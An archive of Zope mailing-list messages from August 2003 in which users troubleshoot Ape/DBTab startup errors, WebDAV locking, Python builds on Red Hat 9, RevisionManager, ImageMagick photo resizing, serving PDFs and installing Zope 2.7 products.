larry_prikockis at natureserve.org Wed Aug 13 16:24:24 2003 From: larry_prikockis at natureserve.org (Larry J. C. Prikockis) Date: Wed Aug 13 15:21:50 2003 Subject: [Zope] Ape 0.7 - prob. installing Message-ID: I'm no doubt missing something silly, but Ape 0.6 worked and now 0.7 is giving me troubles. Here's the specifics: Zope 2.6.2b4 on RH Linux 9. I have Ape 0.7 and DBTab 1.2 installed. and actually, Zope starts up fine if I remove the DBTab.conf and custom_zodb.py files from my instance root. WITH those files configured according to the instructions (pretty much the defaults) though, I get the following traceback when starting Zope: 2003-08-13T15:22:49 PANIC(300) z2 Startup exception Traceback (innermost last): File /usr/local/zope/Zope/z2.py, line 585, in ? File /usr/local/zope/Zope/lib/python/Zope/__init__.py, line 46, in startup (Object: startup) File /usr/local/zope/Zope/lib/python/Zope/App/startup.py, line 56, in startup File /usr/local/zope/Zope/custom_zodb.py, line 19, in ? File /usr/local/zope/Zope/lib/python/Products/DBTab/MainConfiguration.py, line 29, in ? File /usr/local/zope/Zope/lib/python/Products/DBTab/DBTab.py, line 260, in __init__ File /usr/local/zope/Zope/lib/python/Products/DBTab/DBTab.py, line 392, in _readConfig File /usr/local/zope/Zope/lib/python/Products/DBTab/DBTab.py, line 93, in setStorageParams File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/zope2/setup/dbtab.py, line 24, in convertApeStorageArgs File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/zodb3/db.py, line 42, in callMapperFactory File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/zope2/mapper.py, line 52, in createFSMapper File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/zope2/mapper.py, line 38, in createMapper File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/config/apeconf.py, line 485, in wireMapper File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/config/common.py, line 112, in read File /usr/local/zope/Zope/lib/python2.1/site-packages/_xmlplus/sax/__init__.py, line 31, in parse File /usr/local/zope/Zope/lib/python2.1/site-packages/_xmlplus/sax/expatreader.py, line 109, in parse File /usr/local/zope/Zope/lib/python2.1/site-packages/_xmlplus/sax/xmlreader.py, line 123, in parse File /usr/local/zope/Zope/lib/python2.1/site-packages/_xmlplus/sax/expatreader.py, line 216, in feed File /usr/local/zope/Zope/lib/python2.1/site-packages/_xmlplus/sax/expatreader.py, line 312, in start_element File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/config/common.py, line 97, in startElement File /usr/local/zope/Zope/lib/python/Products/Ape/lib/apelib/config/apeconf.py, line 192, in handle_serializer NameError: global name 'handle_component' is not defined anyone have a clue what I managed to break? thanks- Larry From charlie.jones at cadence-technologies.com Wed Aug 13 16:42:50 2003 From: charlie.jones at cadence-technologies.com (Charlie Jones) Date: Wed Aug 13 15:43:27 2003 Subject: [Zope] WebDAV Locking and Versioning Message-ID: <52E0EC15-CDC6-11D7-8B5F-000A956FCFD4@cadence-technologies.com> We are using Plone as an intranet for the company I work for. Something clicked the other day, and I figured out that we could use WebDAV to access folders for creating and editing standard files (Word, Excel, etc.). So I started the process of looking into this. I have managed to get my OS X machine to access folders via WebDAV and I can create and edit files without a hitch. While looking through various documentation I have seen proposals suggesting that Zope should use the versioning and locking features of the WebDAV protocol. What I haven't found is proof that these items have been integrated into Zope. I realize that the client needs to also implement these features. So my questions are: - Does Zope provide a means to lock and/or provide version control on objects being edited via WebDAV? - If so, is there some source of documentation that provides more detail? - Is it a 1 user to 1 object locking or can multiple people edit the same document? - Again, if this is possible which clients are people using on OS X and Windows? Any help or insight on this topic would be much appreciated. thanks, charlie From andreas at andreas-jung.com Wed Aug 13 22:55:03 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Wed Aug 13 15:54:52 2003 Subject: [Zope] WebDAV Locking and Versioning In-Reply-To: <52E0EC15-CDC6-11D7-8B5F-000A956FCFD4@cadence-technologies.com> References: <52E0EC15-CDC6-11D7-8B5F-000A956FCFD4@cadence-technologies.com> Message-ID: <2147483647.1060811703@[192.168.0.100]> --On Mittwoch, 13. August 2003 15:42 Uhr -0400 Charlie Jones wrote: > > - Does Zope provide a means to lock and/or provide version control on > objects being edited via WebDAV? Zope supports the standard WebDAV locking mechanism. > > - If so, is there some source of documentation that provides more detail? What other documentation is needed? You lock or unlock an object through WebDAV. You don't need to care about the internals?! > > - Is it a 1 user to 1 object locking or can multiple people edit the same > document? As much as I know WebDAv does not support locking only particular parts of a document. Check the WebDAV RFC! > > - Again, if this is possible which clients are people using on OS X and > Windows? Any client that supports WebDAV (Webfolder under Win32 suck completely).. Some tools: GoLive, Dreamweaver, Cadaver, etc. -aj From larry_prikockis at natureserve.org Wed Aug 13 16:58:12 2003 From: larry_prikockis at natureserve.org (Larry J. C. Prikockis) Date: Wed Aug 13 15:55:37 2003 Subject: [Zope] Re: WebDAV Locking and Versioning References: <52E0EC15-CDC6-11D7-8B5F-000A956FCFD4@cadence-technologies.com> Message-ID: On Wed, 13 Aug 2003 15:42:50 -0400, Charlie Jones wrote: > We are using Plone as an intranet for the company I work for. Something > clicked the other day, and I figured out that we could use WebDAV to > access folders for creating and editing standard files (Word, Excel, > etc.). So I started the process of looking into this. I have managed > to get my OS X machine to access folders via WebDAV and I can create and > edit files without a hitch. > > While looking through various documentation I have seen proposals > suggesting that Zope should use the versioning and locking features of > the WebDAV protocol. What I haven't found is proof that these items > have been integrated into Zope. I realize that the client needs to also > implement these features. So my questions are: > > - Does Zope provide a means to lock and/or provide version control on > objects being edited via WebDAV? > > As I understand it: Locking, yes! Versioning, no- at least not "out of the box". > - If so, is there some source of documentation that provides more > detail? you might want to look at the ExternalEditor product, since it basically utilizes the stuff you speak of above to provide a very flexible way for non-Zopistas to edit whatever sort of content they need to in their preferred environment. From charlie.jones at cadence-technologies.com Wed Aug 13 17:08:12 2003 From: charlie.jones at cadence-technologies.com (Charlie Jones) Date: Wed Aug 13 16:08:48 2003 Subject: [Zope] WebDAV Locking and Versioning In-Reply-To: <2147483647.1060811703@[192.168.0.100]> Message-ID: Thank you for replying to my email. I'm sorry if my questions seemed naive or lazy to you. That was not the intent. The obvious lack of documentation on the subject prompted my question for more resources. The "V" in WebDAV stands for versioning, so I guessed that that might actually be supported. Lastly, my question regarding clients was valid from the standpoint that it is up to the client to implement the features of the protocol. Obviously some clients do and some clients don't. To clarify the use of WebDAV in this case, I am looking to use folders within Plone to act as "webdrives" for users to store documents. Development tools such as DreamWeaver and GoLive are not going to be much help. I know that OS X provides a client to connect to WebDAV resources like a regular folder. There are third party clients in Windows that do the same. I was simply hoping that others were already doing this and might be able to offer up some suggestions. charlie On Wednesday, August 13, 2003, at 03:55 PM, Andreas Jung wrote: > > > --On Mittwoch, 13. August 2003 15:42 Uhr -0400 Charlie Jones > wrote: > >> >> - Does Zope provide a means to lock and/or provide version control on >> objects being edited via WebDAV? > > Zope supports the standard WebDAV locking mechanism. > >> >> - If so, is there some source of documentation that provides more >> detail? > > What other documentation is needed? You lock or unlock an object > through WebDAV. You don't need to care about the internals?! > >> >> - Is it a 1 user to 1 object locking or can multiple people edit the >> same >> document? > > As much as I know WebDAv does not support locking > only particular parts of a document. Check the WebDAV RFC! > >> >> - Again, if this is possible which clients are people using on OS X >> and >> Windows? > > Any client that supports WebDAV (Webfolder under Win32 suck > completely).. Some tools: GoLive, Dreamweaver, Cadaver, etc. > > > -aj > From allison at sumeru.stanford.EDU Wed Aug 13 14:12:50 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 13 16:13:01 2003 Subject: [Zope] Zope and RH9 Message-ID: Python 2.1.3 won't build under RH9. _socket won't build and there appears to have been many changes at the SSL interface. And there's the threads problem, presumably disabled with LD_ASSUME_KERNEL=2.4.1. Just for fun, I tried Python 2.3 and things work (sorta) with lots of deprecation errors. I need a stable system and there's no time before we go live for much testing. Remind me why we need to be using Python 2.1.3 (or maybe, Python 2.2). I am using Zope 2.6.2b3. -dA From pw_lists at slinkp.com Wed Aug 13 17:14:31 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Wed Aug 13 16:15:37 2003 Subject: [Zope] WebDAV Locking and Versioning In-Reply-To: <2147483647.1060811703@[192.168.0.100]> References: <52E0EC15-CDC6-11D7-8B5F-000A956FCFD4@cadence-technologies.com> <2147483647.1060811703@[192.168.0.100]> Message-ID: <20030813201431.GA2395@slinkp.com> On Wed, Aug 13, 2003 at 09:55:03PM +0200, Andreas Jung wrote: > >- Again, if this is possible which clients are people using on OS X and > >Windows? > > Any client that supports WebDAV (Webfolder under Win32 suck > completely).. Some tools: GoLive, Dreamweaver, Cadaver, etc. Teamdrive and Webdrive both seem to work pretty well. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's SUPERFLOUS BEEF NINJA! (random hero from isometric.spaceninja.com) From mitchy at spacemonkeylabs.com Wed Aug 13 17:46:03 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed Aug 13 16:48:17 2003 Subject: [Zope] Zope and RH9 In-Reply-To: References: Message-ID: <1060742763.5073.3.camel@sprocket> On Thu, 2003-08-14 at 10:12, Dennis Allison wrote: > Just for fun, I tried Python 2.3 and things work (sorta) with lots of > deprecation errors. I need a stable system and there's no time before we > go live for much testing. I'm using the stock 2.2.2 python that comes with RH9, without a hitch. Actually, it is a very complicated setup that I inherited, with just about every possible Zope/Plone/CMF/ZPT/Archetypes combination possible, and then some. So the site mostly works, but is quite impossible for me to grok or repair :^/ From rob.page at zope.com Wed Aug 13 18:00:21 2003 From: rob.page at zope.com (Rob Page) Date: Wed Aug 13 17:01:04 2003 Subject: [Zope] Upcoming Zope4Intranets training session Message-ID: <3F3AA6E5.2010409@zope.com> The next Zope4Intranets (Z4I) class (formerly "Zope TurboIntranet") will be held at Zope Corporation's Fredericksburg, VA headquarters September 22-25, 2003. For a brief course description: - http://www.zope.com/Training/Z4ITraining For a PDF of the product brochure: - http://www.zope.com/Products/Zope4Intranets For a recent InfoWorld Z4I article: - http://www.infoworld.com/article/03/08/01/30OPstrategic_1.html For further information, contact sales@zope.com. -- Rob Page V: 540.361.1710 Zope Corporation F: 703.995.0412 From rbickers-expires-1061414776.b22cd0 at logicetc.com Wed Aug 13 18:26:06 2003 From: rbickers-expires-1061414776.b22cd0 at logicetc.com (Ron Bickers) Date: Wed Aug 13 17:26:21 2003 Subject: [Zope] Zope and RH9 In-Reply-To: References: Message-ID: <3F3AACEE.20003@logicetc.com> On 08/13/2003 4:12 PM, Dennis Allison wrote: > Python 2.1.3 won't build under RH9. _socket won't build and there appears > to have been many changes at the SSL interface. I'm using the Python 2.1.3 RPMs available at python.org and all is working well. They install just fine along side RH9 Python 2.2.2. > And there's the threads problem, presumably disabled with > LD_ASSUME_KERNEL=2.4.1. I didn't need this, but I did need to update to that latest RH Errata for the kernel and glibc. > I am using Zope 2.6.2b3. Me too. -- Ron Bickers Logic Etc, Inc. From allison at sumeru.stanford.EDU Wed Aug 13 15:29:43 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 13 17:35:23 2003 Subject: [Zope] Zope and RH9 In-Reply-To: <3F3AACEE.20003@logicetc.com> Message-ID: I am running the latest and greatest but still seeing problems. Are you using SSL? On Wed, 13 Aug 2003, Ron Bickers wrote: > On 08/13/2003 4:12 PM, Dennis Allison wrote: > > > Python 2.1.3 won't build under RH9. _socket won't build and there appears > > to have been many changes at the SSL interface. > > I'm using the Python 2.1.3 RPMs available at python.org and all is working > well. They install just fine along side RH9 Python 2.2.2. > > > And there's the threads problem, presumably disabled with > > LD_ASSUME_KERNEL=2.4.1. > > I didn't need this, but I did need to update to that latest RH Errata for > the kernel and glibc. > > > I am using Zope 2.6.2b3. > > Me too. > > -- > Ron Bickers > Logic Etc, Inc. > From rbickers-expires-1061415542.e4ba85 at logicetc.com Wed Aug 13 18:38:55 2003 From: rbickers-expires-1061415542.e4ba85 at logicetc.com (Ron Bickers) Date: Wed Aug 13 17:39:10 2003 Subject: [Zope] Zope and RH9 In-Reply-To: References: Message-ID: <3F3AAFEF.7000607@logicetc.com> On 08/13/2003 5:29 PM, Dennis Allison wrote: > I am running the latest and greatest but still seeing problems. > > Are you using SSL? I'm using SSL in Apache, but just the standard proxy stuff from Apache to Zope. -- Ron Bickers Logic Etc, Inc. From robertjean2 at yahoo.com Wed Aug 13 15:44:58 2003 From: robertjean2 at yahoo.com (Robert Jean) Date: Wed Aug 13 17:45:34 2003 Subject: [Zope] RevisionManager Message-ID: <20030813214458.20081.qmail@web41802.mail.yahoo.com> Hello: I have recently tested RevisionManager 1.3.2 on Windows. RevisionManager integrates Zope with the versioning system CVS. Apparently, the primary target of this product is UNIX, but the product author says that some people have reported using it successfully on Windows. I would be very interested to hear from these people, because my experience shows a different picture. Also, if some people have run into problems on UNIX as well, I would love to hear from them. On Windows, IMHO, RevisionManager qualifies for a “pre-beta” status, at least at the functional point of view. But there is substantial work behind it, and fixing it might not require too much effort. Therefore, I would be delighted if someone who is experienced (maybe Philipp, the product author) could direct the effort. I would be happy to contribute. Basically, I can sometimes import / check in / checkout to / from a remote CVS repository using pserver. But: 1) GIF and JPEG images will default to the "File" type. Regardless of changing the file type to "Image" or keeping it to "File", the image will be corrupted (the file always has 462 bytes). Importing images reports an error "Error Type: AttributeError, Error Value: content_type" error). But the file goes to the repository anyway and can be retrieved uncorrupted with the CVS command line tool. So, something must go wrong when the image file is imported into the ZODB. 2) Even more worrying, I often get KeyError and AttributeError errors when manipulating objects of any type (DTML methods, files, ...). After that, the object becomes unusable. I think that RevisionManager is the source of these problems because with the CVS command line, everything works smoothly. 3) I have a problem when importing ZSQL methods, but it might very well have nothing to do with the product. It is maybe due to the dependency of the method on another object such as a connection. Maybe the same type of problem we face when importing objects in zexp format. Also, I have observed is that the path to the CVS executable must not contain any space, and quotes will not help (e.g. "c:\program files\cvsnt\cvs.exe" will result in "c:\program not found"). There are probably still a lot of issues, but there are the ones I am facing now. Robert __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From mlong at datalong.com Wed Aug 13 19:27:40 2003 From: mlong at datalong.com (Michael Long) Date: Wed Aug 13 18:27:49 2003 Subject: [Zope] startup error Message-ID: > Isn't there a "try: ... except: " around this? It is actually a "try: ... except: ... else: " which I don't think is valid. --mike From jbarbara11 at yahoo.com Wed Aug 13 17:20:18 2003 From: jbarbara11 at yahoo.com (Jim Barbara) Date: Wed Aug 13 19:20:21 2003 Subject: [Zope] Need help with ImageMagick CMFPhoto for photo resize In-Reply-To: <20030813171528.74582.qmail@web11707.mail.yahoo.com> Message-ID: <20030813232018.47841.qmail@web11701.mail.yahoo.com> I can do bmp files only (need to install jpg for ImageMagick to convert jpg) and the convert will work from a command line. (i.e. convert -resize 500x500 test.gif testbigger.gif). However, on my plone site I can add bmp as a Photo and it will display using the Original Size but will not display (broken image link) when I chose another size. My guess is that my Zope/Plone install does not know that ImageMagick is installed. Again, any help/advice you could supply will be deeply appreciated. --- Jim Barbara wrote: > I am using: > > Zope 2.6.1 > Plone 1.0.1 > CMF 1.3 > > I can add a CMFPhotoAlbum as well as a CMFPhoto on > my > Plone site. I want to be > able to view the photo sized differently than the > Original Size. I tried to > install ImageMagick using the rpm for Redhat 9 > (i386). > Since it asked for a > lot of XFree86 modules, I used the -nodeps option > and > it seemed to install just > fine. However, I still cannot resize the photos. I > am a newbie but I am > learning. Could you please help me? > > Thanks, > Jim Barbara > > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site > design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From cbeaumon at msri.org Wed Aug 13 18:41:35 2003 From: cbeaumon at msri.org (Chris Beaumont) Date: Wed Aug 13 20:25:12 2003 Subject: [Zope] Sending Attachments from LocalFS using dtml-mime DTML question.. Message-ID: I recently set up a widget to email files from a localFS directory and it was working well for a few weeks.. However, suddenly it stopped working. I had made some changes in permissions recently, but I undo-ed them and the problem still occurs.. Where before I would have a PDF attachment, now I simply get a file with a PDF extension with one line, the name of the file that was supposed to be sent.. I've been trying to figure this out for hours.. Here is the code which was working before.. _____cut here_______ To: &dtml.missing-EMAIL; Attached is the document you requested for proofing.

Please check your email for it in a few minutes.

______________________ Thank you for any suggestions... -Chris From gareth at wiked.org Wed Aug 13 23:56:50 2003 From: gareth at wiked.org (Gareth J. Greenaway) Date: Thu Aug 14 01:56:56 2003 Subject: [Zope] Your Invitation To SCALE 2003 Message-ID: <20030814055650.GO30481@wiked.org> Greetings! I would like to formally invite Zope to participate in the Southern California Linux Expo on November 22nd, at the Los Angeles Convention Center. Because your group is non-commercial we will waive the cost of a booth if you decide to represent Zope at SCALE. More details are available at http://www.socallinuxexpo.com. If you have any questions, please contact me. If you're not able to take advantage of this offer, please pass it along to someone else in your group who may want to represent Zope. Thank you. Gareth Greenaway SCALE Booth/Exposition Chair From lukesh at seznam.cz Thu Aug 14 09:42:50 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Thu Aug 14 03:04:09 2003 Subject: [Zope] Surpress white space? Message-ID: <3F2692A8002B2D35@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Toby Dickenson > Komu: Sergey Volobuev ; lsh@wo.cz > Kopie: zoper@disturbance.dhs.org; Zope > P?edm?t: Re: [Zope] Surpress white space? > Datum: 9. ?ervence 2003 16:46 > > On Wednesday 09 July 2003 15:37, Sergey Volobuev wrote: > > > But it is still ugly :(( > > Soon after I started using Zope, I created a tag that replaces > blocks of whitespace with a single character. The code looks a little dated, > but is still functional. Examle usage below, followed by code. I hope this > helps. > > > > > > > > > > Sorry for late response. I was try to implement your code, but if I want to save document, I receive error (see below). I use Zope 2.5.1 at Win32. But it makes error on that DTML Document too:

spaces /spaces I was put your code into Products/unitws/__init__.py file, restart Zope (a "pyc" file was done). Do you have some "hidden secrets" on unitws? Many thanks, J. Lukesh Error: Document Template Parse Error

unexpected end tag, for tag </dtml-unitws>, on line 168 of segment_pobyt_ikony

see mailing list archives and HowTos) to analyse the object causing the exception. You should be able to find its class (I expect a ZClass) and its "_p_oid". Dieter From dieter at handshake.de Fri Aug 15 22:31:23 2003 From: dieter at handshake.de (Dieter Maurer) Date: Fri Aug 15 15:50:35 2003 Subject: [Zope] Zclass containing an image In-Reply-To: <001501c36346$0559fd30$776e1098@acroyear> References: <43488.199.67.140.20.1059687957.squirrel@webmail.mahnke.net> <001501c36346$0559fd30$776e1098@acroyear> Message-ID: <16189.13579.533863.372303@gargle.gargle.HOWL> Bart Hubbard wrote at 2003-8-15 11:57 -0400: > ... > For this class, I've subclassed my custom MedicalContent class, CatalogPathAwareBase, and also ObjectManager. Very fine! > I was > thinking that an instance of this class would actually contain the associated image. I've customized the AddForm for > this class, but haven't tried to tackle how to get that image into it. I don't want to rely on the users to have to > view objects of this type like a folder, and then add images willy-nilly. Thus, you must provide your own interface to manage the image. You find the available methods for image management in "OFS.Image.Image" (and its base class "OFS.Image.File"). Creation of an image in an ObjectManager "om" looks like: om.manage_addProducts['OFSP'].manage_addImage(id,file,...) You find "manage_addImage" in "OFS/Image.py" (to learn about additional arguments). Dieter From dieter at handshake.de Fri Aug 15 22:25:08 2003 From: dieter at handshake.de (Dieter Maurer) Date: Fri Aug 15 15:51:15 2003 Subject: [Zope] DTML generic table displayer In-Reply-To: <623cc60330.60330623cc@gel.com> References: <623cc60330.60330623cc@gel.com> Message-ID: <16189.13204.482105.391656@gargle.gargle.HOWL> Brad Dickerson wrote at 2003-8-15 10:08 -0400: > I am new to DTML and trying to write a general DTML code that when pass > a table name, the page will return with all the data in that table. You may want to look at "ZnolkSQLWizzard", a third party product that can do this. Dieter From mguerrero at tachyon.net Fri Aug 15 15:59:11 2003 From: mguerrero at tachyon.net (Michael Guerrero) Date: Fri Aug 15 17:59:18 2003 Subject: [Zope] Displaying a pdf file. Message-ID: Thanks for your reply. Specifically I am trying to do the following: I have and existing application that does the following. 1) user enters data then hits save 2) data is stored in a oracle database 3) the data plus some calculates are displayed back to the user in html This works fine however I have a new requirement for #3. Instead of displaying the data back to the user in html, I am to take the data add disclamer pages (total 4-5 pages) and display it to the user in pdf format. To do this I plan to do the following after the user hits 'save': 1) save the data in the oracle database 2) call and external procedure that will run an oracle report to create the report, save it as a pdf file on the local unix file system (ex. 'myfile.pdf'). 3)?? THIS IS WHERE I NEED HELP ?? I now need some way of having the user view this pdf file. Am I over complicating this? From zope can I just call a url (even if its on another web server that displays) the pdf. I don't really need it in zope to view it, do !? Thanks. Mike -----Original Message----- From: J Cameron Cooper [mailto:jccooper@jcameroncooper.com] Sent: Friday, August 15, 2003 11:59 AM To: Michael Guerrero; Zope user list Subject: Re: [Zope] Displaying a pdf file. > > What is the best way to display a pdf file in a zope application. I > may select the file from an oracle database of get it from a file > system. I'm not sure at the moment. > > My Zope Bible book shows how to upload a pdf file from a filesytem > then view it. But in my case the pdf I want to view is based on an ID > entered by the user. There may be many different pdf and I can't > upload them all. > > I want to be able to > 1) if the the pdf is on server then > view (\docs\my.pdf) using the correct application type > > or > 2) if I select the pdf from an oracle table (stored as a BLOB) > > somehow display the pdf > You could write a script to automatically upload everything to Zope, use load_site.py, or copy your files using FTP or WebDAV. If you really want to get them from the FS, get LocalFS and make a LocalFS object that points to, say, /docs. That's probably the easiest way. Well, aside from FTP. If you want to grab it from a table, you'll want to write a Python script (with a .pdf extension!) that returns a single BLOB field, gotten by way of a ZSQL method. How that field is selected from the table can be determined by REQUEST variable parameters, acquisition context, or several other means. Obviously, this takes more work. Just remember that you *cannot* display the data inline. That will never work: you must return it looking like a single file. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From lukesh at seznam.cz Sat Aug 16 01:11:38 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Fri Aug 15 18:14:00 2003 Subject: [Zope] Zope application offline - how to applyalicense ptotection? Message-ID: <3F269CE0003B6DFF@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes=EDlatel: Dario Lopez-K=E4sten > From: "Jaroslav Lukesh" > >> Odes=EDlatel: Dylan Reinhardt > >> On Thu, 2003-08-14 at 13:15, J Cameron Cooper wrote: > >> > It is extremely difficult to protect against people with physical = or > >> > root access to a machine. If I can sit down in front of it, I can get > >> > root > >> > >> Indeed. > > > >I am not as sure. If you have securitelly configured system and case > > with security lock, you could not get local access in any manner. >=20 > uhm... it will get a bit *harder*, not impossible. Important to note th= at it > will *never* be impossible. As long as there is a console available to the > machine it will work. You need to not allow login to that console to work. You need to add prom= pt password for singleuser mode (in Linux). Then getting local console is impossible (if you does not have floppy,CD, USB and bootable NIC) for any intruder. JL. From markb at textmatters.com Fri Aug 15 23:58:33 2003 From: markb at textmatters.com (Mark Barratt) Date: Fri Aug 15 18:18:15 2003 Subject: [Zope] Displaying a pdf file. In-Reply-To: References: Message-ID: <3F3D5789.7080004@textmatters.com> Michael Guerrero wrote: > Thanks for your reply. > > Specifically I am trying to do the following: > > I have and existing application that does the following. > 1) user enters data then hits save > 2) data is stored in a oracle database > 3) the data plus some calculates are displayed back to the user in html > > This works fine however I have a new requirement for #3. Instead of displaying the data back to the user in html, I am to take the data add disclamer pages (total 4-5 pages) and display it to the user in pdf format. > > To do this I plan to do the following after the user hits 'save': > 1) save the data in the oracle database > 2) call and external procedure that will run an oracle report to create the report, > save it as a pdf file on the local unix file system (ex. 'myfile.pdf'). > 3)?? THIS IS WHERE I NEED HELP ?? Why save the pdf file? You could just emit it on the fly inline or as an attachment down the http link to the user. If your need for a beautiful document is slight, you can reuse your html with the server-side utility htmldoc. Or send the data back from Oracle in XML and do an XSL:FO transformation on it to create PDF (actually, I don't know whether this would be fast enough). As you say, you don't need to use Zope. hth -- ------------ Mark Barratt Text Matters 37 Upper Redlands Road, Information design: Reading RG1 5JE, UK We help explain things using phone +44 (0)118 986 8313 .language fax +44 (0)118 931 3743 .design email markb@textmatters.com .systems web http://www.textmatters.com .process From chrism at zopemafia.com Fri Aug 15 23:57:57 2003 From: chrism at zopemafia.com (Chris McDonouogh) Date: Fri Aug 15 18:58:00 2003 Subject: [Zope] How to install a new product in Zope 2.7 In-Reply-To: <3F3CF176.5060204@wanadoo.fr> References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]> <3F3CF176.5060204@wanadoo.fr> Message-ID: <1060988215.1177.18.camel@dorothy.zope.com> The comment in the config file is wrong. Add a line: products $INSTANCE\Products to your config file and restart, all should be ok. On Fri, 2003-08-15 at 10:43, andre wrote: > :) Thanks. > I read it before asking my question but as there's nothing about > differencies between 2.7 and 2.6 in products installation and as the > only instruction in instance's products directory is : > "" > Additional products for your Zope instance should be installed in this > directory. A freshly created instance should only contain this > README.txt file in this directory. > "", > i supposed that i only had to copy my package in the Products' directory > of my instance am i right ? > > But when i restart the server and my instance, nothing happens, the > product doesn't appears in the products' list in control panel. > > Well, i searched in cvs.zope.org to see if there was something, i only > found files edited 12 months ago. > > I am using Zope2.7.0.b1 on windows XP. > > I found nothing in the faq, in the collector, in this mailing list, in > the txt files. > I didn't get errors and i didn't find a log file. > My package is simply ignored by Zope2.7.0b1. > > I think it can't be a bug but it must be something so obvious that i > can't see it. :). > I can't restart the server using the restart button in control panel. I > need to restart in windows service manager. > > Noticed that i have a Zope 2.6 server on the same machine on port 8080 > (2.7 on 8081) but that doesn't affect my Zope 2.6 and basic products of > Zope 2.7 are running well. > > So do you know something.txt that i can read :). > Thanks > Andre > > Andreas Jung a ?crit: > > Read doc/CHANGES.txt...that's why it is called as it is. > > > > -aj > > > > --On Freitag, 15. August 2003 0:45 Uhr -0400 andre > > wrote: > > > >> I have a product developed for Zope 2.6 and want to use it in an instance > >> of Zope 2.7. Is there something different than in previous versions of > >> Zope ? > >> Thanks > >> Andre > >> > >> > >> _______________________________________________ > >> Zope maillist - Zope@zope.org > >> http://mail.zope.org/mailman/listinfo/zope > >> ** No cross posts or HTML encoding! ** > >> (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > >> http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From gagenellina at softlab.com.ar Fri Aug 15 22:07:31 2003 From: gagenellina at softlab.com.ar (Gabriel Genellina) Date: Fri Aug 15 20:12:47 2003 Subject: [Zope] Zope application offline - how to apply a licenseptotection? In-Reply-To: <20030815115135.5AA1C10DFB35@webproxy.k-net.cz> Message-ID: <5.2.1.1.0.20030815191229.01d9f260@192.168.0.115> At 15/8/2003 14:01, you wrote: >Use your own dedicated server with zope, crypted FS (you need solve problem >with key :( or lock at computer case. > > > And anyone with write permission to the filesystem can create an >emergency > >Nothing more than "root" will does not have access to that PC > > > Zope may have a good shield from web attacks but I think it is very > > vulnerable for local intrusion or sabotage. > >Zope is not responsible for that, you need solve these problems at system >level and robust HW, as I shown you. > >Do you have access to local files in server at your bank office? Of course not, but bank staff do have access to them. Surely they have security measures, but their security policies are meant to protect *them* against things, but not to protect *me* (as a software developer) against bad usage, abuse, thieft, or sabotage on our systems. And those things happen - I have some examples, fortunately none involving Zope (yet!). Going to the original post: The world does not revolve around Zope, so it may not be possible to use a dedicate, isolate and padlocked server to run Zope exclusively, and instead had to install it on an existing server, running other applications and being mantained by other people with a foreign admininstrator. In that scenario, hacking, misconfiguration, stealing, sabotage, and other things might happen. Since your recommendation is not applicable, as far as I know, Zope as a development platform does not provide any means to prevent nor protect against such things. I don't say Zope *should* care about that, perhaps it shouldn't. But the developer surely *must* take that into account. So the best thing to do is to get a good legal contract. Gabriel Genellina Softlab SRL From jccooper at jcameroncooper.com Fri Aug 15 22:37:16 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 15 22:37:23 2003 Subject: [Zope] Displaying a pdf file. In-Reply-To: References: Message-ID: <3F3D98DC.8060905@jcameroncooper.com> > > >This works fine however I have a new requirement for #3. Instead of displaying the data back to the user in html, I am to take the data add disclamer pages (total 4-5 pages) and display it to the user in pdf format. > >To do this I plan to do the following after the user hits 'save': > 1) save the data in the oracle database > 2) call and external procedure that will run an oracle report to create the report, > save it as a pdf file on the local unix file system (ex. 'myfile.pdf'). > 3)?? THIS IS WHERE I NEED HELP ?? > I now need some way of having the user view this pdf file. > >Am I over complicating this? From zope can I just call a url (even if its on another web server that displays) the pdf. > >I don't really need it in zope to view it, do !? > > Zope has nothing to do with viewing anything. Zope just serves it. The question is how. 1. you can save it to the FS and use a product like I previously mentioned (probably LocalFS) to get to and serve it. Since you're doing it dynamically, that's probably not the best idea. 2. just have your external method return the contents of the file. Be sure to name the method something.pdf to get around IE's brokenness. 3. skip the database entirely and have Zope generate the PDF for you. If you have no explicit dependency on using that Oracle report program, you can look at something like http://www.reportlab.com/toolkit/ http://www-106.ibm.com/developerworks/linux/library/l-sc6.html?loc=dwmain http://zope.org/Members/Dirk.Datzert/RenderableCharts/view 